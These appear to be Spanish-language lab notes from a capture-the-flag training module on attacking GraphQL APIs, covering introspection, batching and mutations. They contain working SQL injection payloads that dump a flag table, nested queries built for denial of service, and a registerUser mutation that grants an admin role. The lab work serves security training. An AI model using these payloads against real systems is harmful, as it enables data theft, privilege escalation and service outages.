Injection Attacks
- Input
{
user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -") {
username
}
}- Output
{
"data": {
"user": {
"username": "secret,user,flag,post"
}
}
}- Input
{
user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5,6 FROM information_schema.columns WHERE table_name='flag' AND table_schema=database()-- -") {
username
}
}- Output
{
"data": {
"user": {
"username": "id,flag"
}
}
}- Input
{
user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(id, ',', flag),4,5,6 FROM flag-- -") {
username
}
}- Output
{
"data": {
"user": {
"username": "1,HTB{****}"
}
}
}Denial-of-Service (DoS)
Dependiendo de la configuración de la API GraphQL, podemos crear consultas que generen respuestas exponencialmente grandes y requieran recursos significativos para su procesamiento. Esto puede provocar un alto uso del hardware en el sistema backend, lo que podría dar lugar a un escenario de denegación de servicio (DoS) que limite la disponibilidad del servicio para otros usuarios.
Para ejecutar un ataque DoS, debemos identificar una forma de construir una consulta que genere una respuesta grande. Veamos la visualización de los resultados de la introspección en GraphQL Voyager. Podemos identificar un bucle entre UserObject y PostObject a través de los campos author y posts:
graphql
{
posts {
author {
posts {
edges {
node {
author {
username
}
}
}
}
}
}
}{
posts {
author {
posts {
edges {
node {
author {
posts {
edges {
node {
author {
posts {
edges {
node {
author {
posts {
edges {
node {
author {
posts {
edges {
node {
author {
posts {
edges {
node {
author {
posts {
edges {
node {
author {
posts {
edges {
node {
author {
username
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}Batching Attacks
El procesamiento por lotes en GraphQL se refiere a la ejecución de múltiples consultas con una sola solicitud. Podemos hacerlo proporcionando directamente múltiples consultas en una lista JSON en la solicitud HTTP. Por ejemplo, podemos consultar el ID del usuario administrador y el título de la primera publicación en una sola solicitud:
POST /graphql HTTP/1.1
Host: 172.17.0.2
Content-Length: 86
Content-Type: application/json
[
{
"query":"{user(username: \"admin\") {uuid}}"
},
{
"query":"{post(id: 1) {title}}"
}
]Mutations
Las mutaciones son consultas GraphQL que modifican los datos del servidor. Se pueden utilizar para crear nuevos objetos, actualizar objetos existentes o eliminar objetos existentes.
query {
__schema {
mutationType {
name
fields {
name
args {
name
defaultValue
type {
...TypeRef
}
}
}
}
}
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}- Output
{
"data": {
"__schema": {
"mutationType": {
"name": "Mutation",
"fields": [
{
"name": "registerUser",
"args": [
{
"name": "input",
"defaultValue": null,
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "INPUT_OBJECT",
"name": "RegisterUserInput",
"ofType": null
}
}
}
]
}
]
}
}
}
}A partir del resultado, podemos identificar una mutación registerUser, que presumiblemente nos permite crear nuevos usuarios. La mutación requiere un objeto RegisterUserInput como entrada:
- Input
{
__type(name: "RegisterUserInput") {
name
inputFields {
name
description
defaultValue
}
}
}- Output
{
"data": {
"__type": {
"name": "RegisterUserInput",
"inputFields": [
{
"name": "username",
"description": null,
"defaultValue": null
},
{
"name": "password",
"description": null,
"defaultValue": null
},
{
"name": "role",
"description": null,
"defaultValue": null
},
{
"name": "msg",
"description": null,
"defaultValue": null
}
]
}
}
}$ echo -n 'password' | md5sum
5f4dcc3b5aa765d61d8327deb882cf99 -- input
graphql
mutation {
registerUser(input: {username: "vautia", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "user", msg: "newUser"}) {
user {
username
password
msg
role
}
}
}Exploitation with Mutations
Hemos identificado los roles user consultando admin a todos los usuarios existentes. Creemos un nuevo usuario con el rol admin y comprobemos si esto nos permite acceder al punto de acceso interno de administración en /admin. Podemos usar la siguiente mutación de GraphQL:
mutation {
registerUser(input: {username: "vautiaAdmin", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "admin", msg: "Hacked!"}) {
user {
username
password
msg
role
}
}
}- Ejercicio
Iniciamos enumerando los valores que tiene users.
- input
{
users{
username
role
msg
}
}- output
{
"data": {
"users": [
{
"username": "htb-stdnt",
"role": "user",
"msg": "Welcome!"
},
{
"username": "test",
"role": "user",
"msg": "Test"
},
{
"username": "admin",
"role": "admin",
"msg": "Hello admin!"
}
]
}
}Ahora procedemos agregar un usuario con el rol admin
- Input
mutation {
registerUser(input: {username: "hacker", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "admin", msg: "Hacked!"}) {
user {
username
role
}
}
}- Output
{
"data": {
"registerUser": {
"user": {
"username": "hacker",
"role": "admin"
}
}
}
}Tools
graphql-cop
$ python3 graphql-cop/graphql-cop.py -t http://172.17.0.2/graphql
[HIGH] Alias Overloading - Alias Overloading with 100+ aliases is allowed (Denial of Service - /graphql)
[HIGH] Array-based Query Batching - Batch queries allowed with 10+ simultaneous queries (Denial of Service - /graphql)
[HIGH] Directive Overloading - Multiple duplicated directives allowed in a query (Denial of Service - /graphql)
[HIGH] Field Duplication - Queries are allowed with 500 of the same repeated field (Denial of Service - /graphql)
[LOW] Field Suggestions - Field Suggestions are Enabled (Information Leakage - /graphql)
[MEDIUM] GET Method Query Support - GraphQL queries allowed using the GET method (Possible Cross Site Request Forgery (CSRF) - /graphql)
[LOW] GraphQL IDE - GraphiQL Explorer/Playground Enabled (Information Leakage - /graphql)
[HIGH] Introspection - Introspection Query Enabled (Information Leakage - /graphql)
[MEDIUM] POST based url-encoded query (possible CSRF) - GraphQL accepts non-JSON queries over POST (Possible Cross Site Request Forgery - /graphql)InQL
InQL es una extensión de Burp que podemos instalar a través de la BApp Store en Burp. Una vez completada la instalación, se añade una pestaña InQL en Burp.